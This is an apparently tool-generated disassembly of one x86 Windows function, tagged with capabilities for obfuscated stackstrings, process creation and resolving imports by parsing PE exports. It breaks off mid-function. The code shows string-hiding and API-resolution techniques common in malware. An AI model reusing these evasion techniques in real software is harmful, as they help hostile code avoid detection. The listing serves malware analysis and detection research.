Function at 0x45a418
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa9c
push ebx
push esi
push edi
test dl, dl
je 0x45bf55
cmp byte [ebp + 8], 0
je 0x45a457
mov byte [esp + 0xf], 0
cmp byte [esp + 0xf], 0
je 0x45bf5e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
jmp 0x45bf5e
xor ebx, ebx
mov word [esp + 0x184], 0x3606
inc ebx
mov dword [esp + 0x187], 0x380534
xor eax, eax
mov byte [esp + 0x186], bl
mov ecx, eax
mov dword [esp + 0x18b], 0x83e0739
mov dword [esp + 0x18f], 0x2244043b
mov esi, eax
mov dword [esp + 0x193], 0x263f7a8
mov dword [esp + 0x197], 0xb32b82ae
mov dword [esp + 0x19b], 0x317f0bc3
mov dword [esp + 0x19f], 0x6a7fb61f
mov word [esp + 0x1a3], 0x8407
mov byte [esp + 0x1a5], 0xbb
mov byte [esp + 0x1a6], bl
mov dword [esp + 0x1a7], 0xf3a3d5a2
mov dword [esp + 0x1ab], 0x7a402c09
mov dword [esp + 0x1af], 0x3122339d
mov dword [esp + 0x1b3], 0x943029d
mov word [esp + 0x1b7], 0x344
mov byte [esp + 0x1b9], 0x4a
mov dword [esp + 0x49c], ecx
cmp ecx, 0xe
jne 0x45a545
push 0x22
pop esi
lea eax, [esp + 0x49c]
xor dl, dl
push eax
push 0x1ace
push ecx
call fcn.0045bf65
mov ecx, dword [esp + 0x4a8]
add esp, 0xc
jmp 0x45a578
movzx eax, byte [esp + ecx + 0x185]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x45a568
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x184]
mov word [esp + eax*2 + 0x6a4], dx
add ecx, 2
mov dword [esp + 0x49c], ecx
cmp ecx, 0x36
jb 0x45a51c
xor eax, eax
mov dword [esp + 0x90], 0x37093502
mov edi, eax
mov word [esp + 0x6b8], ax
mov dword [esp + 0x94], 0xfe133708
mov edx, eax
mov dword [esp + 0x98], 0x948c9a5b
mov dword [esp + 0x9c], 0x903b4912
mov dword [esp + 0xa0], 0x16528843
mov dword [esp + 0xa4], 0x3ce42a95
mov dword [esp + 0xa8], 0x33b06d2
mov dword [esp + 0xac], 0x3c0540
mov dword [esp + 0xb0], 0x444073f
mov byte [esp + 0xb4], 0x49
mov byte [esp + 0xb5], bl
mov byte [esp + 0xb6], 0x44
mov dword [esp + 0x4d8], edi
cmp edx, 6
jne 0x45a647
push ebx
push 0x4685
lea ecx, [esp + 0x4e0]
push ecx
push ebx
push eax
push eax
push 0x402d
call fcn.004581ba
mov edi, dword [esp + 0x4f4]
add esp, 0x1c
xor eax, eax
push 0x17
pop edx
jmp 0x45a67b
movzx ecx, byte [esp + edx + 0x91]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45a66b
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x90]
mov word [esp + ecx*2 + 0x68c], si
add edx, 2
cmp edx, 0x27
jb 0x45a616
xor ecx, ecx
mov dword [esp + 0x58], 0x37023804
mov edx, eax
mov word [esp + 0x6a0], cx
mov dword [esp + 0x5c], 0x37063700
mov edi, eax
mov word [esp + 0x60], 0x4003
mov byte [esp + 0x62], bl
mov dword [esp + 0x63], 0x46084409
mov dword [esp + 0x67], 0x42074705
mov byte [esp + 0x6b], bl
mov byte [esp + 0x6c], 0x44
mov dword [esp + 0x498], edx
cmp edx, 0xa
jne 0x45a6fc
push ebx
push 0x3d1f
push 0x51ef
push ebx
push eax
lea eax, [esp + 0x4ac]
mov edi, ebx
push ebx
push eax
call fcn.004581ba
mov edx, dword [esp + 0x4b4]
add esp, 0x1c
xor eax, eax
jmp 0x45a72a
movzx ecx, byte [esp + edx + 0x59]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45a71d
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x58]
mov word [esp + ecx*2 + 0x6d4], si
add edx, 2
mov dword [esp + 0x498], edx
cmp edx, 0x15
jb 0x45a6cc
xor ecx, ecx
mov dword [esp + 0x40], 0x34093803
mov word [esp + 0x6e8], cx
mov esi, eax
mov ecx, eax
mov word [esp + 0x44], 0x3808
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x38
mov byte [esp + 0x48], bl
mov dword [esp + 0x49], 0x3d063b00
mov dword [esp + 0x4d], 0x47074102
mov dword [esp + 0x51], 0x4b044205
mov dword [esp + 0x4a4], ecx
cmp ecx, 8
jne 0x45a7a9
push ecx
push ebx
push ecx
mov edx, 0x21a1
lea ecx, [esp + 0x4b0]
mov esi, ebx
call fcn.0045c0e7
mov ecx, dword [esp + 0x4b0]
add esp, 0xc
jmp 0x45a7d6
movzx eax, byte [esp + ecx + 0x41]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x45a7c9
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x40]
mov word [esp + eax*2 + 0x6bc], dx
add ecx, 2
mov dword [esp + 0x4a4], ecx
cmp ecx, 0x15
jb 0x45a782
xor eax, eax
lea ecx, [esp + 0x580]
push 7
mov word [esp + 0x6d4], ax
xor esi, esi
pop ebx
mov word [esp + 0x580], ax
lea eax, [esp + 0x6a4]
push eax
mov dword [esp + 0x598], ebx
mov dword [esp + 0x594], esi
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x5ac], ebx
mov word [esp + 0x598], ax
lea ecx, [esp + 0x598]
lea eax, [esp + 0x68c]
mov dword [esp + 0x5a8], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x5c4], ebx
mov word [esp + 0x5b0], ax
lea ecx, [esp + 0x5b0]
lea eax, [esp + 0x6d4]
mov dword [esp + 0x5c0], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x5dc], ebx
mov word [esp + 0x5c8], ax
lea ecx, [esp + 0x5c8]
lea eax, [esp + 0x6bc]
mov dword [esp + 0x5d8], esi
push eax
call fcn.004407f9
push dword [esp + 0x10]
lea eax, [esp + 0x5e4]
mov dword [esp + 0x4e0], esi
push eax
lea eax, [esp + 0x588]
mov dword [esp + 0x4e8], esi
push eax
push esi
lea ecx, [esp + 0x4ec]
mov dword [esp + 0x4f4], esi
call fcn.0045d024
push 3
pop ebx
push 0x18
lea edi, [esp + 0x5e4]
pop eax
sub edi, eax
push esi
push 1
mov ecx, edi
call fcn.0044088e
dec ebx
push 0x18
pop eax
jns 0x45a8e5
xor eax, eax
mov dword [esp + 0x1bc], 0x72012f07
lea edi, [esp + 0x6a4]
mov word [esp + 0x1c0], 0x6906
stosd dword es:[edi], eax
push 2
pop ebx
mov byte [esp + 0x1c2], bl
stosd dword es:[edi], eax
mov dword [esp + 0x1c3], 0x577007b
mov dword [esp + 0x1c7], 0xa7d046c
mov dword [esp + 0x1cb], 0x48c92574
stosd dword es:[edi], eax
mov dword [esp + 0x1cf], 0xae23a819
mov dword [esp + 0x1d3], 0xd10630c9
mov dword [esp + 0x1d7], 0x3be09a38
stosd dword es:[edi], eax
mov dword [esp + 0x1db], 0xcc556059
mov dword [esp + 0x1df], 0xd60b19
mov dword [esp + 0x1e3], 0x75759b92
stosd dword es:[edi], eax
mov dword [esp + 0x1e7], 0xa7f72981
mov dword [esp + 0x1eb], 0xfe2bcbfa
mov dword [esp + 0x1ef], 0x7608b85a
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x68c]
mov dword [esp + 0x1f3], 0x7a038b09
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x6d4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x6bc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov edi, eax
cmp esi, 0x10
jne 0x45a9f6
push 0x25
pop edi
push 0x33
pop esi
jmp 0x45aa39
movzx eax, byte [esp + esi + 0x1bd]
lea edx, [esp + 0x4d4]
sub eax, esi
push 1
dec eax
push ecx
add eax, edi
push 0x117e
mov dword [esp + 0x4e0], eax
call fcn.00456a70
movzx ecx, byte [esp + esi + 0x1c8]
add esp, 0xc
mov ax, word [esp + 0x4d4]
mov word [esp + ecx*2 + 0x740], ax
add esi, ebx
cmp esi, 0x3b
jb 0x45a9e9
xor eax, eax
mov byte [esp + 0xe4], bl
mov edx, eax
mov word [esp + 0x756], ax
mov dword [esp + 0xe5], 0x564016d
mov edi, eax
mov dword [esp + 0xe9], 0x53f0216a
mov dword [esp + 0xed], 0x7185e6b3
mov byte [esp + 0xf1], bl
mov dword [esp + 0xf2], 0x3b6dde41
mov dword [esp + 0xf6], 0x8dbdc351
mov dword [esp + 0xfa], 0x97b10ad5
mov dword [esp + 0xfe], 0xdbf96840
mov dword [esp + 0x102], 0x7068865f
mov dword [esp + 0x106], 0xf8f8573d
mov dword [esp + 0x10a], 0x7350444
mov dword [esp + 0x10e], 0x66e006e
mov word [esp + 0x112], 0x385
mov byte [esp + 0x114], 0x72
mov dword [esp + 0x4a0], edx
cmp edx, 6
jne 0x45ab18
push 0x21
pop edi
push ecx
push eax
push ecx
lea edx, [esp + 0x4ac]
mov ecx, 0xead
call fcn.0045c0e7
mov edx, dword [esp + 0x4ac]
add esp, 0xc
xor eax, eax
jmp 0x45ab4c
movzx ecx, byte [esp + edx + 0xe5]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45ab3c
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0xe4]
mov word [esp + ecx*2 + 0x558], si
add edx, ebx
mov dword [esp + 0x4a0], edx
cmp edx, 0x31
jb 0x45aaee
xor ecx, ecx
mov dword [esp + 0x118], 0x68047905
mov word [esp + 0x568], cx
mov edx, eax
mov word [esp + 0x11c], 0x3303
mov edi, eax
mov byte [esp + 0x11e], bl
mov dword [esp + 0x11f], 0x6e066b
mov dword [esp + 0x123], 0xd04f256e
mov dword [esp + 0x127], 0xcbaf42c1
mov dword [esp + 0x12b], 0x96fec5be
mov dword [esp + 0x12f], 0x209da871
mov dword [esp + 0x133], 0xa07e61e4
mov dword [esp + 0x137], 0x7088113c
mov dword [esp + 0x13b], 0x1f3dfe3c
mov dword [esp + 0x13f], 0xc29a430a
mov dword [esp + 0x143], 0x8a3ec636
mov dword [esp + 0x147], 0x7a016bf8
cmp edx, 0xc
jne 0x45ac0a
push 0x25
pop edi
push 0x2f
pop edx
jmp 0x45ac3e
movzx ecx, byte [esp + edx + 0x119]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45ac2e
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x118]
mov word [esp + ecx*2 + 0x520], si
add edx, ebx
cmp edx, 0x33
jb 0x45abfd
xor ecx, ecx
mov word [esp + 0xb8], 0x6605
mov esi, eax
mov word [esp + 0x52e], cx
mov byte [esp + 0xba], bl
mov ecx, eax
mov dword [esp + 0xbb], 0x333046f
mov dword [esp + 0xbf], 0x7710077
mov dword [esp + 0xc3], 0x16cc1c70
mov dword [esp + 0xc7], 0x4913c0f8
mov dword [esp + 0xcb], 0xab84e286
mov dword [esp + 0xcf], 0xd846d581
mov dword [esp + 0xd3], 0xd0b33fe0
mov word [esp + 0xd7], 0x297b
mov byte [esp + 0xd9], 1
mov byte [esp + 0xda], bl
mov dword [esp + 0xdb], 0xaa22b2ce
mov dword [esp + 0xdf], 0x67201f9
mov byte [esp + 0xe3], 0x87
mov dword [esp + 0x4c0], esi
cmp ecx, 0xc
jne 0x45ad18
push 0x218d
lea eax, [esp + 0x4c4]
mov dl, 1
push eax
push ecx
call fcn.0045bf65
mov esi, dword [esp + 0x4cc]
add esp, 0xc
push 0x26
pop ecx
jmp 0x45ad4b
movzx eax, byte [esp + ecx + 0xb9]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x45ad3b
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0xb8]
mov word [esp + eax*2 + 0x530], dx
add ecx, ebx
cmp ecx, 0x2c
jb 0x45acef
xor eax, eax
mov dword [esp + 0x14c], 0x68076605
mov word [esp + 0x540], ax
mov edx, eax
mov dword [esp + 0x150], 0x7f066e01
mov edi, eax
mov byte [esp + 0x154], bl
mov dword [esp + 0x155], 0x25720377
mov dword [esp + 0x159], 0xf9c63372
mov dword [esp + 0x15d], 0x5fa87b4c
mov dword [esp + 0x161], 0xec36bf33
mov dword [esp + 0x165], 0xd2a44728
mov dword [esp + 0x169], 0xddf36d29
mov byte [esp + 0x16d], 0x61
mov byte [esp + 0x16e], bl
mov dword [esp + 0x16f], 0xed9cf8c5
mov dword [esp + 0x173], 0x15fdf270
mov dword [esp + 0x177], 0x82f38251
mov dword [esp + 0x17b], 0x3b048963
mov word [esp + 0x17f], 0x7f00
cmp edx, 0xc
jne 0x45ae11
push 0x25
pop edi
push 0x2f
pop edx
jmp 0x45ae45
movzx ecx, byte [esp + edx + 0x14d]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45ae35
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x14c]
mov word [esp + ecx*2 + 0x544], si
add edx, ebx
cmp edx, 0x35
jb 0x45ae04
xor ecx, ecx
mov dword [esp + 0x70], 0x34097800
mov word [esp + 0x554], cx
mov edx, eax
mov dword [esp + 0x74], 0xe49d425e
mov edi, eax
mov dword [esp + 0x78], 0x64b25bb
mov dword [esp + 0x7c], 0x77d0975
mov dword [esp + 0x80], 0xa6e0835
mov word [esp + 0x84], 0x370
mov byte [esp + 0x86], 0x81
mov byte [esp + 0x87], bl
mov dword [esp + 0x88], 0x1800578
mov word [esp + 0x8c], 0x474
mov byte [esp + 0x8e], 0x7b
cmp edx, ebx
jne 0x45aec6
push 9
pop edi
push edi
pop edx
jmp 0x45aef4
movzx ecx, byte [esp + edx + 0x71]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45aee7
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x70]
mov word [esp + ecx*2 + 0x728], si
add edx, ebx
cmp edx, 0x1f
jb 0x45aebb
xor ecx, ecx
mov dword [esp + 0x28], 0x6b012f05
mov word [esp + 0x73e], cx
mov edx, eax
mov dword [esp + 0x2c], 0x7e007703
mov edi, eax
mov dword [esp + 0x30], 0x70088107
mov dword [esp + 0x34], 0x4c7e903
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], bl
mov word [esp + 0x3a], 0x674
mov byte [esp + 0x3c], 0x76
cmp edx, 0xc
jne 0x45af4b
push 3
pop edi
push 0xd
pop edx
jmp 0x45af79
movzx ecx, byte [esp + edx + 0x29]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45af6c
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x28]
mov word [esp + ecx*2 + 0x56c], si
add edx, ebx
cmp edx, 0x15
jb 0x45af3e
mov dword [esp + 0x5f0], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x57e], cx
push 7
pop ebx
mov word [esp + 0x5e0], ax
lea ecx, [esp + 0x5e0]
lea eax, [esp + 0x740]
mov dword [esp + 0x5f4], ebx
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x60c], ebx
mov word [esp + 0x5f8], ax
lea ecx, [esp + 0x5f8]
lea eax, [esp + 0x558]
xor esi, esi
push eax
mov dword [esp + 0x60c], esi
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x624], ebx
mov word [esp + 0x610], ax
lea ecx, [esp + 0x610]
lea eax, [esp + 0x520]
mov dword [esp + 0x620], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x63c], ebx
mov word [esp + 0x628], ax
lea ecx, [esp + 0x628]
lea eax, [esp + 0x530]
mov dword [esp + 0x638], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x654], ebx
mov word [esp + 0x640], ax
lea ecx, [esp + 0x640]
lea eax, [esp + 0x544]
mov dword [esp + 0x650], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x66c], ebx
mov word [esp + 0x658], ax
lea ecx, [esp + 0x658]
lea eax, [esp + 0x728]
mov dword [esp + 0x668], esi
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x684], ebx
mov word [esp + 0x670], ax
lea ecx, [esp + 0x670]
lea eax, [esp + 0x56c]
mov dword [esp + 0x680], esi
push eax
call fcn.004407f9
push dword [esp + 0x10]
lea ecx, [esp + 0x68c]
xor eax, eax
push ecx
lea ecx, [esp + 0x5e8]
mov dword [esp + 0x4b8], eax
push ecx
push eax
lea ecx, [esp + 0x4c0]
mov dword [esp + 0x4c4], eax
mov dword [esp + 0x4c8], eax
call fcn.0045d024
push 6
lea edi, [esp + 0x68c]
pop ebx
push 0x18
pop eax
sub edi, eax
push esi
push 1
mov ecx, edi
call fcn.0044088e
dec ebx
jns 0x45b105
xor eax, eax
mov dword [esp + 0x1c], 0x70016502
push 6
pop ecx
lea edi, [esp + 0x740]
mov dword [esp + 0x20], 0x5e066800
rep stosd dword es:[edi], eax
lea edi, [esp + 0x558]
mov dword [esp + 0x24], 0xda7395e1
stosd dword es:[edi], eax
push 6
pop ecx
push 0x18
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x524]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [esp + 0x534]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x548]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x72c]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x570]
stosd dword es:[edi], eax
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [esp + 0x4b4]
sub eax, dword [esp + 0x4b0]
cdq
idiv ecx
mov ebx, eax
xor eax, eax
mov dword [esp + 0x10], ebx
mov edx, eax
mov edi, eax
cmp edx, 6
jne 0x45b1bb
push edx
pop edi
push 0xa
pop edx
jmp 0x45b1e9
movzx ecx, byte [esp + edx + 0x1d]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45b1dc
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x1c]
mov word [esp + ecx*2 + 0x4e8], si
add edx, 2
cmp edx, 0xc
jb 0x45b1af
mov dword [esp + 0x518], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x4ee], cx
mov word [esp + 0x508], ax
lea ecx, [esp + 0x508]
lea eax, [esp + 0x4e8]
mov dword [esp + 0x51c], 7
push eax
call fcn.004407f9
xor eax, eax
mov dword [esp + 0x14], 0x32004401
mov dword [esp + 0x4e8], eax
mov edx, eax
mov dword [esp + 0x4ec], eax
mov edi, eax
mov byte [esp + 0x18], 1
cmp edx, 4
jne 0x45b259
xor edi, edi
push 3
inc edi
pop edx
jmp 0x45b287
movzx ecx, byte [esp + edx + 0x15]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x45b27a
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x14]
mov word [esp + ecx*2 + 0x4a8], si
add edx, 2
cmp edx, 5
jb 0x45b24c
xor ecx, ecx
mov dword [esp + 0x500], eax
mov word [esp + 0x4ac], cx
lea ecx, [esp + 0x4f0]
push eax
mov dword [esp + 0x508], 7
call fcn.00440a02
lea eax, [esp + 0x4a8]
push eax
lea ecx, [esp + 0x4f4]
call fcn.004407f9
mov edi, dword [esp + 0x4dc]
xor eax, eax
push 0x18
mov dword [esp + 0x4ac], eax
mov word [esp + 0x4b0], ax
pop edx
cmp edi, dword [esp + 0x4e0]
je 0x45ba2e
mov ebx, eax
mov byte [esp + 0x2d8], dl
mov dword [esp + 0x298], 0x6c056e22
mov edx, eax
mov dword [esp + 0x29c], 0x6a0d3421
mov dword [esp + 0x2a0], 0x6f137712
mov dword [esp + 0x2a4], 0x82082d09
mov dword [esp + 0x2a8], 0x420a7607
mov dword [esp + 0x2ac], 0x730f850b
mov dword [esp + 0x2b0], 0x4e1e9010
mov dword [esp + 0x2b4], 0x8e029016
mov dword [esp + 0x2b8], 0x43238704
mov dword [esp + 0x2bc], 0x610e8b01
mov dword [esp + 0x2c0], 0x97069d1b
mov dword [esp + 0x2c4], 0x8b179f03
mov dword [esp + 0x2c8], 0xa214631f
mov dword [esp + 0x2cc], 0x57209a1c
mov dword [esp + 0x2d0], 0xb419590c
mov byte [esp + 0x2d4], al
mov word [esp + 0x2d5], 0x115d
mov byte [esp + 0x2d7], 0xa8
mov dword [esp + 0x2d9], 0x15b61ab4
mov dword [esp + 0x2dd], 0xbc0423bc
mov dword [esp + 0x2e1], 0xb8aceea
mov dword [esp + 0x2e5], 0xe2a31f9c
mov dword [esp + 0x2e9], 0x26c8cdf2
mov dword [esp + 0x2ed], 0xb8738a4b
mov dword [esp + 0x2f1], 0x52d7cc1c
mov dword [esp + 0x2f5], 0xb2cece3f
mov dword [esp + 0x2f9], 0xfb13d88d
mov dword [esp + 0x2fd], 0x58b1c1ae
mov word [esp + 0x301], 0xb41d
mov dword [esp + 0x4c8], ebx
cmp edx, 0x46
jne 0x45b465
push eax
push ecx
push 0x7c4d
lea ecx, [esp + 0x4d4]
call fcn.0045960f
mov ebx, dword [esp + 0x4d4]
add esp, 0xc
xor eax, eax
push 0x67
pop edx
jmp 0x45b499
movzx ecx, byte [esp + edx + 0x299]
lea esi, [ebx - 1]
sub ecx, edx
add esi, ecx
jns 0x45b489
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x298]
mov word [esp + ecx*2 + 0x8d8], si
add edx, 2
cmp edx, 0x6b
jb 0x45b43c
xor ecx, ecx
mov dword [esp + 0x3a8], 0x645b2167
push 0x18
mov word [esp + 0x924], cx
mov ebx, eax
pop ecx
mov dword [esp + 0x3ac], 0x6d5a7463
mov esi, eax
mov dword [esp + 0x3b0], 0x4f3f2903
mov dword [esp + 0x3b4], 0x3e01795d
mov dword [esp + 0x3b8], 0x6f4f7a38
mov dword [esp + 0x3bc], 0x73367805
mov dword [esp + 0x3c0], 0x72375a20
mov dword [esp + 0x3c4], 0x8862915e
mov dword [esp + 0x3c8], 0x8711864b
mov dword [esp + 0x3cc], 0x963b450b
mov dword [esp + 0x3d0], 0x9e2b7c1b
mov dword [esp + 0x3d4], 0xa23d9b43
mov dword [esp + 0x3d8], 0x9c2e9769
mov dword [esp + 0x3dc], 0x5966556a
mov dword [esp + 0x3e0], 0x5b6d9e53
mov dword [esp + 0x3e4], 0xb10cb032
mov dword [esp + 0x3e8], 0xb552a507
mov dword [esp + 0x3ec], 0xa810ac0e
mov dword [esp + 0x3f0], 0x6b3e9256
mov dword [esp + 0x3f4], 0xab1ac25c
mov byte [esp + 0x3f8], cl
mov dword [esp + 0x3f9], 0x34b7129d
mov dword [esp + 0x3fd], 0x41bc2abb
mov dword [esp + 0x401], 0x429c5fbf
mov dword [esp + 0x405], 0x57c751c2
mov dword [esp + 0x409], 0x28bf2ca5
mov dword [esp + 0x40d], 0x50cf49c8
mov dword [esp + 0x411], 0x48cf3abd
mov dword [esp + 0x415], 0x40bf24c1
mov dword [esp + 0x419], 0x3cb60ad6
mov dword [esp + 0x41d], 0x9e564ec
mov dword [esp + 0x421], 0x1ede2fa8
mov dword [esp + 0x425], 0x31c51dd1
mov dword [esp + 0x429], 0x26e80df0
mov dword [esp + 0x42d], 0x68eb44f1
mov dword [esp + 0x431], 0x4dee02b8
mov dword [esp + 0x435], 0x4f04c01
mov dword [esp + 0x439], 0x58b30fb3
mov dword [esp + 0x43d], 0x29f365d9
mov dword [esp + 0x441], 0x46ea1c02
mov dword [esp + 0x445], 0x2dbf080f
mov dword [esp + 0x449], 0x211233ee
mov dword [esp + 0x44d], 0x19ec22f7
mov dword [esp + 0x451], 0x161f61f6
mov dword [esp + 0x455], 0x14de6bf5
mov dword [esp + 0x459], 0x2320060d
mov dword [esp + 0x45d], 0x452a4e11
mov dword [esp + 0x461], 0x552f351e
mov dword [esp + 0x465], 0x6c1b4731
mov dword [esp + 0x469], 0x13354a37
mov dword [esp + 0x46d], 0x253539e5
mov dword [esp + 0x471], 0x60342738
mov dword [esp + 0x475], 0xe345930
mov dword [esp + 0x479], 0x1c222a8a
mov dword [esp + 0x47d], 0xead9bd37
mov dword [esp + 0x481], 0xc858ad3b
mov dword [esp + 0x485], 0x1f4330d2
mov dword [esp + 0x489], 0x1536542a
mov word [esp + 0x48d], 0x17f9
mov byte [esp + 0x48f], 0x24
mov byte [esp + 0x490], al
mov byte [esp + 0x491], 0xfb
mov dword [esp + 0x4d0], ebx
cmp esi, 0xd0
jne 0x45b77f
push eax
push ecx
lea eax, [esp + 0x4d8]
mov edx, 0x70a3
push eax
call fcn.00456a70
mov ebx, dword [esp + 0x4dc]
add esp, 0xc
add esi, 0xc
jmp 0x45b7bc
movzx eax, byte [esp + esi + 0x3a9]
lea ecx, [esp + 0x4bc]
sub eax, esi
xor dl, dl
dec eax
add eax, ebx
push 1
mov dword [esp + 0x4c0], eax
call fcn.0045cd49
mov ax, word [esp + 0x4c0]
pop ecx
movzx ecx, byte [esp + esi + 0x3a8]
mov word [esp + ecx*2 + 0x9c8], ax
add esi, 2
push 0
pop eax
cmp esi, 0xea
jb 0x45b754
mov word [esp + 0xaa4], ax
mov esi, eax
mov dword [esp + 0x1f8], 0x23035304
mov ebx, eax
mov dword [esp + 0x1fc], 0x4c05340b
mov dword [esp + 0x200], 0x261f3f0e
mov dword [esp + 0x204], 0x9b0ffe7e
mov dword [esp + 0x208], 0xdf83946a
mov dword [esp + 0x20c], 0x8a6dec00
mov dword [esp + 0x210], 0x13ea0307
mov dword [esp + 0x214], 0x958daba8
mov dword [esp + 0x218], 0xd3af7822
mov dword [esp + 0x21c], 0x7906ddc0
mov dword [esp + 0x220], 0xa2d0f09
mov dword [esp + 0x224], 0x113e012d
mov dword [esp + 0x228], 0xd660837
mov dword [esp + 0x22c], 0x10760735
mov dword [esp + 0x230], 0x750939
mov dword [esp + 0x234], 0x6830c3d
mov word [esp + 0x238], 0x268
mov byte [esp + 0x23a], 0x97
cmp esi, 0xa
jne 0x45b8a5
push 0x1f
pop ebx
push 0x27
pop esi
jmp 0x45b8f9
movzx eax, byte [esp + esi + 0x1f9]
xor dl, dl
sub eax, esi
mov ecx, 0x60a7
push 1
dec eax
push 0x27ce
add eax, ebx
push 0x4b0b
mov dword [esp + 0x4d0], eax
lea eax, [esp + 0x4d0]
push 0x6118
push eax
call fcn.00459550
movzx ecx, byte [esp + esi + 0x20c]
add esp, 0x14
mov ax, word [esp + 0x4c4]
mov word [esp + ecx*2 + 0x860], ax
add esi, 2
cmp esi, 0x43
jb 0x45b898
xor eax, eax
mov word [esp + 0x884], ax
call fcn.0045fea7
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0x800]
xor edx, edx
div ebx
lea eax, [esp + 0x860]
push eax
mov esi, edx
call fcn.00440509
push eax
push edi
lea eax, [esp + 0x9d0]
push eax
lea ecx, [esp + 0x77c]
call fcn.00440509
push eax
imul eax, esi, 0x18
lea ecx, [esp + 0x794]
add eax, dword [esp + 0x4bc]
push eax
lea eax, [esp + 0x8e8]
push eax
call fcn.00440509
mov edx, eax
lea ecx, [esp + 0x7c8]
call fcn.0045ced3
pop ecx
mov edx, eax
lea ecx, [esp + 0x824]
call fcn.0045cf02
pop ecx
mov edx, eax
lea ecx, [esp + 0x7d8]
call fcn.0045ced3
pop ecx
mov edx, eax
lea ecx, [esp + 0x84c]
call fcn.0045cf02
push ecx
push eax
lea ecx, [esp + 0x4fc]
call fcn.0045ce4a
xor esi, esi
lea ecx, [esp + 0x848]
push esi
push 1
call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x7d8]
call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x820]
call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x7c0]
call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x790]
